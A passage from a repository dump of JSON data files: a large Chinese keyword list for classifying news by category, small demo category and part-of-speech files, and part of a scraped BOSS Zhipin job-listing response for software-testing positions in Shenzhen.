"摊位", "医患", "每斤", "患者", "父子", "暴雪", "暴雨", "大雨", "香港", "广场舞", "广场", "病人", "医生", "医闹", "厂房", "收割", "父女", "鱼刺", "卡喉", "组建", "过世", "过时", "署名", "过期", "诬告", "捏造", "烟酒", "槟榔", "组团", "罚金", "落水", "村民", "案件", "开除", "员工", "溺亡", "过户", "户口", "户籍", "仓库", "仓库", "仓", "民工", "纠缠", "客轮", "追债", "威胁", "超标", "该罚", "烈士", "建立", "贫困", "贫", "深夜", "孤身", "破口", "公证", "异物", "遗物", "洗钱", "危害", "遗照", "泄漏", "监狱", "违规", "合规", "借贷", "纹身", "施工", "修路", "抢修", "助学", "高利贷", "拘留", "行政", "处罚", "刑事", "犯人", "关押", "泄露", "政策", "三和", "五和", "法院", "法庭", "捐献", "资助", "自助", "信息", "天价", "入境", "出境", "扫黄", "打非", "赌债", "集体", "隐私", "教师", "辅导员", "坠落", "整容", "房子", "整形", "整骨", "母女", "母子", "不雅", "辅导", "名表", "逃债", "涉及", "全国", "生前", "放纵", "悼念", "治安", "合法", "改装", "放火", "村霸", "楼霸", "老师", "流落", "洗稿", "刺客", "喝酒", "江歌案", "嫖娼", "误入", "吸毒", "争执", "作恶", "死", "口角", "保洁", "误杀", "误伤", "色鬼", "清华大学", "北京大学", "伤", "泥石流", "受灾", "冰灾", "洪灾", "讲述", "局长", "危及", "虚假", "庄稼", "摊主", "厅长", "差生", "周年", "尖子生", "农管", "宰客", "宰猪", "宣传", "阴道", "阴部", "卵巢", "受精", "发车", "钟点", "钟点工", "缓刑", "截肢", "区长", "省长", "检察长", "博览", "军长", "女权", "沈阳", "男权", "本科", "专科", "求职", "招生", "气功", "扩招", "央企", "风能", "水能", "电能", "煤气", "太阳能", "灶", "国企", "恒大", "航空", "知名", "姐弟", "坠亡", "铁路", "强制", "措施", "熬夜", "高铁", "火车", "民警", "社保", "个人", "违禁", "祭奠", "紧迫", "击毙", "刺杀", "抢劫", "砍死", "杀人", "杀人案", "砍人", "烧伤", "凶杀案", "凶手", "嫌犯", "罪犯", "犯罪", "歹徒", "执法", "边界", "租房", "中介", "警方", "人员", "断亲", "晚点", "飞机", "交警", "潮汕", "承认", "济南", "禁品", "腰斩", "国庆", "蛇肉", "猴脑", "五一", "车祸", "坠楼", "爆炸", "火灾", "地震", "拜金", "去世", "厘清", "被执行", "住建局", "沦为", "无罪", "驾驶", "逃逸", "驶入", "条子", "免罚", "军痞", "痞子", "痞", "地痞", "溜子", "街溜子", "精神小伙", "适用", "员工", "江西", "公安", "公职", "确诊", "正当", "解封", "杀害", "误触", "误碰", "误吞", "失踪", "遇害", "被害", "遇难", "脱险", "PTSD", "后遗症", "夜生活", "小区", "银行", "合理", "冻结", "中小学", "商业广告", "哈尔滨", "重大", "教授", "网暴", "检举", "野生", "招聘", "编制", "吞食", "落户", "打架", "斗殴", "和解", "出没", "追砍", "会羡慕", "一夜", "否认", "逼近", "植入", "逼近", "通报", "批评", "开庭", "淄博", "湖南", "坐牢", "研究生", "博士", "伤害", "残忍", "最高法", "护士节", "男子", "女子", "老人", "小孩", "业主", "居委会", "物业", "九寨沟", "土匪", "悍匪", "高空", "扔狗", "抛物", "动手", "店家", "警局", "青岛", "断绝", "碎尸", "无名", "教育", "毒打", "元旦", "惨痛", "法典", "牙齿", "车位", "清瘟", "辟谣", "宣判", "逼近", "官方通报", "未收到赔偿", "称不排除", "矛盾升级", "申请强执", "女大学生", "被判赔", "安徽", "违停", "纠纷", "受辱", "挑断", "举报", "牙医", "霸占", "布洛芬", "当事双方", "交管", "总额已近", "跌破", "归还", "涨停", "视频曝光", "进驻", "吸脂", "抽血", "抽样", "抽脂", "诈骗", "缅北", "柬埔寨", "东南亚", "黑马", "媒体", "金饰", "黄金", "油箱", "社会", "推销", "住房", "传销", "割肾", "割手", "割去", "被割", "割脚", "割头", "削头", "削手", "削脚", "砍手", "砍脚", "砍头", "低俗", "不孝", "痴汉", "离谱", "奸杀", "奸夫", "淫妇", "色狼", "含冤", "错案", "实名", "幼儿", "挑逗", "片仔癀", "癀", "金条", "猪肉", "牛肉", "蔬菜", "房价", "非法", "集资", "赌债", "黄赌毒", "淫秽", "色情", "香港", "司法部", "被取消", "淫乱", "入狱", "特招", "空难", "幼小", "不慎", "雪灾", "律师", "西湖", "报复", "罗翔", "董事", "公交", "副总", "南京", "生育", "伸张", "特供", "毒蛇", "经理", "感冒", "5121428", "东莞", "巨款", "负责", "天网", "自毁", "偷税", "替考", "代考", "航班", "午睡", "门票", "这届", "为了", "快手", "美团", "外卖", "人口", "出生率", "就业", "弑夫", "读书", "空轨", "择校", "补贴", "新能源", "城乡", "建设", "承担", "行凶", "冤假", "漏税", "代招", "浮冰", "抗原", "核酸", "长租", "曝雷", "发声", "却费", "意义", "发育", "成本", "长假", "卖淫", "补班", "弑母", "调休", "工资", "酒托", "敬酒", "陪酒", "婚闹", "大妈", "名媛", "猪手", "未遂", "依法", "活埋", "直招", "性虐", "难求", "金手镯", "咨询", "出游", "高烧", "努力", "躺平", "佛系", "死角", "万科", "城中村", "老赖", "征信", "疯抢", "抢光", "一空", "医保", "待业", "聚众", "拍卖", "落网", "被查", "纳税", "爆胎", "泛滥", "大力", "多年", "失散", "失联", "消防", "打砸抢", "殴打", "拘留", "判刑", "通缉", "市长", "院长", "校长", "村长", "县长", "新冠", "三胎", "毒死", "闯入", "所得税", "执照", "感染", "流行", "留学生", "打工", "微信", "虐猫", "绑架", "持枪", "秒空", "售", "霸", "骑手", "万元", "亿元", "河内", "一胎", "二胎", "多胎", "逝世", "押运", "闯红灯", "中暑", "多万", "过亿", "妨碍", "当事", "乘客", "司机", "网约", "网恋", "奔现", "统计局", "普查", "遛狗", "手淫", "咬伤", "事故", "失明", "中毒", "下毒", "恶毒", "偷猎", "酒驾", "跳楼", "手续", "办理", "最美", "环卫", "餐饮", "炒地", "炒股", "地皮", "实体", "实业", "实干", "喜茶", "自慰", "奈雪", "蜜雪冰城", "音乐家", "指挥家", "作家", "网文", "炒作", "违法", "犯罪", "惨不忍睹", "酒后驾驶", "冻死", "天价", "买房", "躲避", "搜查", "查处", "公布", "全省", "烟草", "药物", "堕胎", "病毒", "冰毒", "大麻", "可卡因", "海洛因", "毒品", "缴获", "偷渡", "歹毒", "拘禁", "世事", "狩猎", "校方", "不治", "追查", "事件", "进展", "民心", "全力", "暴乱", "踩踏", "死亡", "自杀", "袭警", "黑人", "白人", "松口", "种牙", "门诊", "黄牛", "碾压", "投毒", "人间", "少管所", "女婴", "男婴", "听证会", "致死", "路人", "砸中", "脱逃", "尾随", "崩溃", "暴力", "校园", "欺凌", "霸凌", "脱衣", "掌掴", "高中生", "摆摊", "景点", "人人人", "导游", "拥堵", "公诉", "身亡", "袭胸", "养老", "敬老院", "看守所", "婴儿", "交通", "粮食", "人群", "预计", "估计", "伤势", "救援", "暴雨", "大雪", "大风", "冰雹", "同城", "特大", "预警", "沙尘", "雾霾", "高温", "最热", "空调", "停电", "干旱", "曹操", "官窑", "撞死", "施虐", "亲戚", "孕妇", "自残", "救灾", "抢险", "物资", "居民", "街道", "动荡", "治理", "黄河", "长江", "洞庭湖", "流感", "塌方", "被埋", "窒息", "三口", "轮奸", "打砸", "砍断", "被撞", "无辜", "虐待", "邻居", "让座", "喜马拉雅", "枪击", "裸照", "降雨", "北川", "台风", "交通", "行驶", "驾驶", "骑乘", "巡逻", "被捕", "前妻", "逃过", "事发", "落水", "核实", "出版社", "记者", "癌", "过劳", "卧轨", "器官", "抽打", "街景", "外包", "绝食", "侵犯", "自闭", "离校", "逃学", "抑郁", "致残", "残废", "地沟", "积水", "井盖", "高压", "服务", "集会", "大规模", "焊死", "连云港", "子宫", "自宫", "性偶", "腐烂", "施暴", "畏罪", "小弟", "冰山", "教养", "素养", "制造业", "双腿", "双手", "道歉", "警报", "便宜", "进口", "破产", "备考", "学子", "透露", "退休", "山体", "滑坡", "心狠", "恶狠", "恶臭", "在逃", "马仔", "交配", "共青团", "园区", "百分点", "全年", "季度", "围挡", "地方", "监控", "网格员", "高校", "学院", "外借", "考公", "国考", "人头", "尸臭", "受虐", "自首", "法官", "独木桥", "千军万马", "比尔·盖茨", "比尔盖茨", "对话", "首例", "洲际", "工信部", "稳定器", "温州", "车手", "货拉拉", "飞车", "快递", "被欺", "肢解", "踩断", "分期", "跨省", "无头", "腐臭", "越狱", "黑厂", "禁毒", "摩托", "刑事", "当事人", "被害人", "强奸", "家属", "争夺", "财产", "遗产", "上诉", "帮凶", "烧烤", "女性", "劳动", "合同", "解除", "赔偿", "猛踢", "飞踹", "追捕", "赝品", "服刑", "黑产", "调查", "沃尔玛", "山姆", "超市", "小伙", "功德箱", "老大", "黑老大", "女尸", "男尸", "海底捞", "偷倒", "摸胸", "抢救", "医治", "心梗", "脑血栓", "盗窃", "翻供", "假货", "受孕", "群殴", "缉拿", "灰厂", "金价", "楼扔", "卡拉OK", "歌舞厅", "扣押", "网吧", "酒吧", "楼丢", "起诉", "万元课", "捡垃圾", "下跪", "求饶", "外国人", "猥琐", "面试", "公寓", "护士", "幼师", "洗脑", "信用卡", "法网", "人工", "黑社会", "打印", "打骂", "体罚", "防卫", "不便", "重阳", "中秋", "展示", "女童", "力竭", "报警", "小哥", "拽回", "拉扯", "厮打", "茶颜悦色", "12306", "平冤", "烟厂", "侍养", "古惑仔", "仇杀", "大V", "老鼠", "鼠患", "蝗虫", "蝗灾", "飞蚁", "蚁患", "蚂灾", "白蚁", "强暴", "局面", "失控", "遭拘", "还手", "拐卖", "教唆", "空城", "空巢", "鬼城", "客运", "客流", "唆使", "惯犯", "留守", "拐骗", "案底", "迷药", "伟哥", "催情", "躲债", "精油", "险境", "垂危", "移民", "一站式", "服侍", "起火", "情杀", "青少年", "中年", "大学生", "市民", "村民", "财政", "人脉", "医学", "涉及", "市中心", "食品", "水果", "牛奶", "乳制品", "经济", "损失", "交代", "围殴", "发售", "赌场", "雪崩", "处分", "产量", "累计", "浪费", "怀孕", "教育部", "疾控", "变态", "缉毒", "刑侦", "追回", "被判", "药监局", "汪曾祺", "不实", "虐杀", "属实", "命案", "父母", "农户", "实习", "医生", "医院", "学校", "企业", "代工", "临时工", "建筑", "耗材", "钢铁", "风力", "水利", "水力", "大坝", "家禽", "商家", "虎门", "编造", "公交站", "机场", "列车", "轮船", "船运", "渔业", "沿海", "停靠", "旅舍", "旅社", "潜逃", "走读", "寄宿", "复读", "挂科", "择业", "祥子", "阿Q", "孔乙己", "强行", "联手", "蜜蜂", "江歌", "市监局", "官方", "证实", "案中案", "麻将", "传染", "二阳", "复阳", "胁迫", "立案", "敏感", "触碰", "过失", "寻人", "寻亲", "走丢", "走失", "骚扰", "电信", "白菜", "消协", "暴雷", "211", "离职", "农民", "顾客", "不满", "老夫", "老妻", "丧生", "风险", "大爷", "小车", "殒命", "丧命", "乱伦", "失身", "散失", "烧杀", "厕所", "脚踩", "恋童", "禁锢", "人身", "人性", "抢空", "隐患", "繁育", "985", "腰子", "卖血", "卖肾", "头皮", "断脚", "断手", "切断", "戳瞎", "刺穿", "贯穿", "祭祖", "管制", "小贩", "城管", "下体", "不雅", "公务员", "电瓶", "共享", "男性", "售窑", "售空", "售罄", "洒落", "售缶", "排班", "常青藤", "呕吐", "常春藤", "C9", "防汛", "交友", "驴友", "陌陌", "脉脉", "soul", "Soul", "摇一摇", "艾滋", "埃博拉", "师范", "师表" ], "财经": [ "市值", "股价", "海域", "波及", "增长", "股权", "周小川", "央行", "行长", "收购", "首钢", "招商", "湿地", "大户", "财新", "放牧", "半数", "补贴", "基准", "每升", "每克", "美债", "熔断", "增持", "行情", "行业", "挂牌", "停牌", "吊销", "20%", "90%", "80%", "1%", "%", "成立", "集约", "清仓", "燃油", "城投", "荒漠", "利率", "胚胎", "评估", "评级", "水田", "郭台铭", "捕鱼", "资金", "杂交", "引资", "转型", "林业", "蔚来", "小鹏", "智造", "因子", "A股", "机器", "工业", "鸿海", "富士康", "推特", "红米", "蓝图", "一汽", "化工", "制造", "低端", "雷军", "联想", "电动车", "欧盟", "小米", "华为", "马斯克", "特斯拉", "比亚迪", "腾讯", "阿里", "vivo", "科普", "oppo", "一加", "余承东", "爱奇艺", "阅文", "蚕业", "水稻", "小麦", "油菜籽", "畜牧", "中药", "西药", "蜂农", "蜂业", "罐头", "水产", "海藻", "栽培", "鸭养", "食用菌", "益生菌", "鹅养", "禽肉", "物流", "供应链", "乳制品", "豆制品", "虫草", "茶油", "化肥", "甘蔗", "花卉", "关键期", "港口", "免税", "配种", "并购", "种植", "同期", "合资", "设厂", "储汇", "储值", "抛售", "熊市", "牛市", "院士", "加息", "内耗", "做空", "减息", "经济学", "一桶", "深股", "加仓", "达沃斯", "经贸", "万亿级", "冲击", "电芯", "产能", "产业", "失范", "失衡", "纳斯达克", "深交所", "港股", "沪深", "上交所", "紧缩", "外汇", "开盘", "石油", "盎司", "贬值", "智库", "劳资", "芯片", "库克", "存储", "合算", "采样", "分析", "预测", "收盘", "缩水", "减持", "持股", "买入", "储蓄", "降幅", "上市", "美联储", "日经", "增值", "经合", "养殖", "讯飞", "安恒", "终端", "核算", "分类", "计算", "排放", "跌停", "证券", "交易所", "GDP", "财经", "股神", "散户", "巴菲特", "芒格", "旺季", "淡季", "按揭", "世贸", "培育", "外资", "李书福", "拱火", "烧钱", "抽检", "滑铁卢", "保险", "理财", "收益", "股份", "入股", "出资", "通胀", "央行", "财商", "韭菜", "人民币", "购车", "B股", "培养", "领英", "小红书", "疫苗", "汇总", "余额", "行长", "中信", "回购", "股票", "控股", "ST", "拟减", "额度", "期货", "扫货", "同比", "新台币", "国资", "茅台", "曹德旺", "房产", "房地产", "总计", "评级", "国债", "交易", "投资方", "贸易", "花呗", "医疗", "健康", "金融", "美元", "白酒", "葡萄酒", "世博会", "药业", "低谷", "寒武纪", "合计", "存款", "上涨", "下滑", "下跌", "断崖式", "资本", "入局", "资本局", "指数", "利润", "大幅", "库存", "杠杆", "精密", "代工", "代工厂", "国营", "私有", "民营", "集团", "电池", "光伏", "超充站", "加油站", "油价", "幅度", "业务" ], "话题": [ "?", "?", ":", ":", "#", "@", "!", "!", "1", "3", "5", "6", "8", "35", "36", "55", "50", "60", "65", "315", "996", "2333", "1984", "4399", "8848", "2020", "九千九百九十九", "iPhone", "SB", "Mac", "恢复", "持续", "终究", "区别", "情侣", "真香", "傻逼", "逗逼", "后浪", "对于", "团购", "冷淡", "澄清", "拼单", "没有", "哪", "哪些", "有何", "...", "......", "值得", "逆转", "真相", "有关", "千年一遇", "百年一遇", "逆风", "卷入", "12", "666", "六一八", "双十二", "双十一", "愚人节", "儿童节", "六一", "老六", "圣诞节", "国庆节", "劳动节", "万圣节", "618", "520", "521", "1111", "情人节", "母亲节", "父亲节", "春节", "元宵", "清明", "端午", "七夕", "中秋", "重阳", "冬至", "腊八", "小年", "除夕", "土著", "通报", "宣布", "谈", "曾是", "曾经", "曾", "本地", "线下", "下线", "线上", "上线", "专属", "状态", "而已", "景区", "强", "热议", "太", "弱", "歌会", "鲁迅", "周树人", "抱佛脚", "引领", "参拜", "清华", "涉嫌", "反响", "公共", "影响", "干涉", "负面", "积极", "抽烟", "吸烟", "正面", "正能量", "北大", "知情", "拜佛", "首发", "抢先", "率先", "滋事", "聚众", "众议", "众人", "求佛", "名誉", "肖像", "菩萨", "香火", "诽谤", "胖", "熊猫", "母校", "红十字", "慈善", "捐赠", "惹", "照片", "瘦", "青年", "老年", "长者", "世俗", "葫芦", "济公", "如来", "孙悟空", "祖师", "老祖", "太上老君", "菩提", "剪纸", "风俗", "民俗", "露面", "舆论", "秘书", "少年", "占中", "基地", "赞", "甲方", "乙方", "绝", "只是", "占有", "仅是", "仅", "只有", "港独", "竟然", "竟是", "藏独", "嚣张", "言论", "危机", "反共", "不当", "叫嚣", "受众", "反击", "攻击", "反攻", "对策", "决策", "策略", "公关", "态度", "嘲讽", "嘲笑", "讥笑", "讥讽", "讽刺", "台独", "首次", "和服", "汉服", "第一次", "首届", "致敬", "成绩", "何", "秒删", "怀疑", "两岸", "交流", "猜疑", "顾虑", "猜忌", "嫉妒", "羡慕", "进展", "发展", "后续", "焦点", "聚焦", "称赞", "交口", "回顾", "频发", "消失", "18", "16", "14", "成人", "成年", "事件", "删", "删帖", "撤回", "撤", "纠葛", "瓜葛", "瓜分", "平均", "延迟", "回怼", "秒回", "怼", "抄袭", "疑似", "疑", "疑是", "传", "可疑", "疑问", "追问", "调休", "延期", "放缓", "抢票", "哄抢", "一斤", "斤", "缘分", "缘", "因缘", "因为", "因故", "以为", "争议", "抢", "争执", "谁", "究竟", "到底", "缘何", "争论", "纷争", "议论", "什么", "吃瓜", "引起", "生娃", "年轻人", "你猜", "我猜", "内卷", "内耗", "普通", "焦虑", "大家猜", "摸鱼", "围观", "猜", "年轻", "是否", "应该", "该", "评", "推断", "专家", "分析", "自称", "称", "为什么", "单身", "这是", "发展", "体验", "盘点", "怎", "怎样", "如何", "如", "若", "若是", "假设", "点出", "这个", "问题", "回复", "答复", "回答", "帮", "减", "吗", "吧", "这", "这些", "道歉", "减掉", "系", "负责", "携手", "辟谣", "造谣", "谣言", "发声", "走来", "38000", "8000", "3000", "6000", "100", "一百", "六千", "八千", "三千", "一千五百", "两千五百", "2500万", "2500", "1500", "胡锡进", "1万", "一万", "女儿", "儿子", "男童", "女童", "网传", "男孩", "女孩", "过万", "未来", "回应", "父亲", "多少", "多", "最棒", "最强", "最高", "最靓", "最帅", "最深", "最厚", "最大", "最少", "最难", "最惨", "最丑", "最屌", "很高", "很好", "很差", "很低", "最", "复旦大学", "复旦", "上海交通大学", "交大", "浙江大学", "浙大", "南京大学", "南大", "中国科学技术大学", "中科大", "哈尔滨工业大学", "哈工大", "同济大学", "同济", "天津大学", "天大", "华中科技大学", "华中科大", "西安交通大学", "东南大学", "东大", "中山大学", "中山", "武汉大学", "武大", "四川大学", "川大", "南开大学", "南开", "厦门大学", "厦大", "北京航空航天大学", "北航", "电子科技大学", "电子科大", "华南理工大学", "华南理工", "吉林大学", "吉大", "西北工业大学", "西工大", "北京师范大学", "北师大", "十大", "天才", "神童", "一遇", "百年", "千年", "万年", "亿年", "世纪" ] } ================================================ FILE: d-json/category_news_demo.json ================================================ { "时政": ["外交", "国会", "选举", "政府", "领导人"], "社会": ["教育", "医疗", "环境", "就业", "人口"], "科技": ["人工智能", "虚拟现实", "机器学习", "区块链", "互联网"], "财经": ["股市", "汇率", "投资", "税收", "企业"], "娱乐": ["电影", "音乐", "明星", "综艺", "体育"] } ================================================ FILE: d-json/dingyu_demo.json ================================================ { "名词": [ { "type": "人名", "words": ["李克强", "习近平", "王毅"] }, { "type": "机构名", "words": ["中国国家卫生健康委员会", "国务院", "上海市政府"] }, { "type": "地名", "words": ["北京", "上海", "广州"] }, { "type": "事件名", "words": ["中美贸易战", "抗击新冠疫情", "2022年冬奥会"] } ], "形容词": [ { "type": "性质", "words": ["严重", "紧急", "突发"] }, { "type": "表情感", "words": ["悲痛", "愤怒", "欣喜"] }, { "type": "评价", "words": ["成功", "失利", "有成效"] } ], "副词": [ { "type": "时间", "words": ["昨天", "今天", "明天"] }, { "type": "程度", "words": ["非常", "极其", "十分"] }, { "type": "方式", "words": ["秘密地", "公开地", "暗地里"] } ], "动词现在分词": [ { "type": "行为", "words": ["跑步的", "阅读的", "玩游戏的"] }, { "type": "状态", "words": ["沉默的", "发抖的", "思考的"] } ], "动词过去分词": [ { "type": "状态", "words": ["满意的", "烦躁的", "兴奋的"] }, { "type": "变化", "words": ["改变的", "增加的", "减少的"] } ], "代词": [ { "type": "人称", "words": ["你", "我", "他"] }, { "type": "指示", "words": ["这", "那", "此"] } ], "数词": [ { "type": "基数", "words": ["一", "二", "三"] }, { "type": "序数", "words": ["第一", "第二", "第三"] } ], "不定式": [ { "type": "目的", "words": ["学习", "探讨", "研究"] }, { "type": "结果", "words": ["失误", "受伤", "失败"] } ], "状语": [ { "type": "时间", "words": ["早上", "晚上", "下午"] }, { "type": "地点", "words": ["在家里", "在学校", "在办公室"] } ], "介词短语": [ { "type": "时间", "words": ["在春天", "在夏天", "在秋天"] }, { "type": "地点", "words": ["在公园里", "在海边上", "在山顶上"] } ] } ================================================ FILE: d-json/exam_zhipin_demo.json ================================================ [ { "code": 0, "message": "Success", "zpData": { "hasMore": true, "jobList": [ { "securityId": "FWvLIvTUkX0nd-l1UsOlTcQkIN_IxhtYpcQbsFyHWhWuwh_ksgloM2Qh7N18Nqn5Z-QBGhEUjHpNRrVrWQ8NZI8UREkWryD7nIrUzuu1v0wMeeXN", "bossAvatar": "https://img.bosszhipin.com/beijin/mcs/banner/20171031/84ade9701fd02a77fedb6675600a134f33d208e8d6fc287973c46e5cb5346f06.png", "bossCert": 3, "encryptBossId": "9423f9e2352f81960nF72dS-EVU~", "bossName": "郑先生", "bossTitle": "hr", "goldHunter": 0, "bossOnline": false, "encryptJobId": "0af58107f73981b40nB52di_GVE~", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.1", "salaryDesc": "18-35K·14薪", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "系统软件测试", "自动化测试", "Server端测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 1, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681967833000, "encryptBrandId": "a28e5f8d2502ecf70nV63Nq4EQ~~", "brandName": "财付通", "brandLogo": "https://img.bosszhipin.com/beijin/app/mobile/normal-0e3f1e4441a21d4874cece3a3d81f0fe.png", "brandStageName": "", "brandIndustry": "社交网络", "brandScaleName": "10000人以上", "welfareList": [], "industry": 100013, "contact": false }, { "securityId": "kWeAs6lgfelkK-c1AeMGNiTVXWQu6NQqb9Qdm8WONTgW7tyb4_ozo3GSlWujqxWJvOwhHXQY8soASL9hCg0DTav-BE8Ty6dEIVcjW4P4u8BPz73umA~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230808/607f1f3d68754fd02596e45acb33ea96a21ca0c6b8284959386e18b894c68689a1ab4c754eda2337_s.jpg.webp", "bossCert": 3, "encryptBossId": "8c9e2445511dcc571nV40tq4EVNS", "bossName": "朱女士", "bossTitle": "招聘", "goldHunter": 0, "bossOnline": false, "encryptJobId": "56dd1a717465cc0a1HR52N-1FldT", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.2", "salaryDesc": "12-13K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "性能测试", "Postman", "JMeter", "Shell" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 2, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692068241000, "encryptBrandId": "95b4b47ef9141c671nd52ty_", "brandName": "法本", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/32931505697e3fbef594fb9ca3fd94a5cfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "计算机软件", "brandScaleName": "10000人以上", "welfareList": [ "五险一金", "年终奖", "节日福利", "零食下午茶", "员工旅游", "带薪年假", "加班补助", "全勤奖", "定期体检", "企业文化" ], "industry": 100021, "contact": false }, { "securityId": "F2Gxu8MYStkLd-J1DUCEa-fLeraZIPMie94pcr-_ge6aZ1M-_hVpzNy-HI6niFoNj-Qzjz9fr8kwtHq3nyPQnf5mXke-inBVnbWuRsmiwMjmQ-V__g~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220512/607f1f3d68754fd02e5772db1120c160987800095635a9ef8c6b235a28e54604391385785e4b02d5_s.jpg", "bossCert": 3, "encryptBossId": "ea0893b76ed3a7841HJ93965F1I~", "bossName": "陈先生", "bossTitle": "人事专员", "goldHunter": 0, "bossOnline": false, "encryptJobId": "73a5e12ff168ac2a1Xxz09S8GFRV", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.3", "salaryDesc": "12-15K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "自动化测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "购物公园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 3, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691367187000, "encryptBrandId": "02bddbe9b3c3da291Xd60ty4GA~~", "brandName": "海万", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20210105/92c4b84050b043469c268c4922dd9b04f8a848436912d3b4f9d9e104bfe57d81_s.jpg", "brandStageName": "未融资", "brandIndustry": "互联网金融", "brandScaleName": "1000-9999人", "welfareList": [ "带薪年假", "节日福利", "定期体检", "五险一金", "员工旅游" ], "industry": 100206, "contact": false }, { "securityId": "KT8Pzqd3F25o1-91G2yL1jm5hq16r7QnCmMK9DhL2bXhDQ1YQRBiFo1DUMnjDnUvX-pN8joXifxdcL7TMNF783B01jzqNpCO7l9kWf934FxQEB7cRw~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20200324/8f79ed3c9d57309971f6626375ec32ea4dd92b5dd662de5925b42f02379fb7b9_s.png", "bossCert": 3, "encryptBossId": "99172e43278968381nR62d6_GVpZ", "bossName": "马女士", "bossTitle": "招聘专员", "goldHunter": 0, "bossOnline": false, "encryptJobId": "ac513f7cfea8f0df0HVy29q9F1Y~", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.4", "salaryDesc": "12-16K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "测试工程师", "软件测试", "自动化测试", "接口测试", "Python", "Java", "Shell", "Selenium" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 4, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1687169526000, "encryptBrandId": "38ea8bcc36b306130Xx40t-8Ew~~", "brandName": "深圳劳士智能科技", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "未融资", "brandIndustry": "智能硬件", "brandScaleName": "20-99人", "welfareList": [ "五险一金", "节日福利", "带薪年假", "加班补助", "免费班车" ], "industry": 100018, "contact": false }, { "securityId": "6ogp-Kbsq6U54-u1VYnmtBl8oPN-YS5VnW9S8yobCOnMM-6j76QOqKXOb5FRJ0WDs8Z_JAV2f3eUTLP0wxbbpldnCkYCDdf9FaG_nue0o53zAj-0x4g~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20200505/efa375391c39d77749e99817e150a0e172f5b4d79d05b8ddbb5c0b2319b40b30_s.jpg", "bossCert": 3, "encryptBossId": "65566fd0b27224651Xx83dm-F1Y~", "bossName": "郭先生", "bossTitle": "人事经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "1cee0a174821cc6e1nJ-3Nu-GFJU", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.5", "salaryDesc": "11-14K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "自动化测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "罗湖区", "businessDistrict": "水贝", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 5, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691025213000, "encryptBrandId": "871653dbb0d5d13d1nZy3ti6E1c~", "brandName": "创诺企业咨询管理", "brandLogo": "https://img.bosszhipin.com/beijin/app/mobile/normal-0e3f1e4441a21d4874cece3a3d81f0fe.png", "brandStageName": "", "brandIndustry": "互联网", "brandScaleName": "500-999人", "welfareList": [ "通讯补贴", "股票期权", "带薪年假", "加班补助", "五险一金", "免费班车", "全勤奖", "餐补", "员工旅游", "补充医疗保险", "年终奖" ], "industry": 100020, "contact": false }, { "securityId": "EOyvh8qu1gKAO-Q1aARDMXRafgO3HUmzAk_5-XrccrSDOEEcUwYXWRZzr0qv7JF4EqDhl2XqN9NSrTY3uyLYBE-aI6fzjkRStfR0cuCl8FLSoKnubA~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_6.png", "bossCert": 3, "encryptBossId": "ac584a7ea4f2cd6b0nZ60t-8EltV", "bossName": "吴先生", "bossTitle": "项目管理&测试验证", "goldHunter": 0, "bossOnline": false, "encryptJobId": "9e6280031e33cb6e1nZ90ty9EVZR", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.6", "salaryDesc": "12-13K·14薪", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 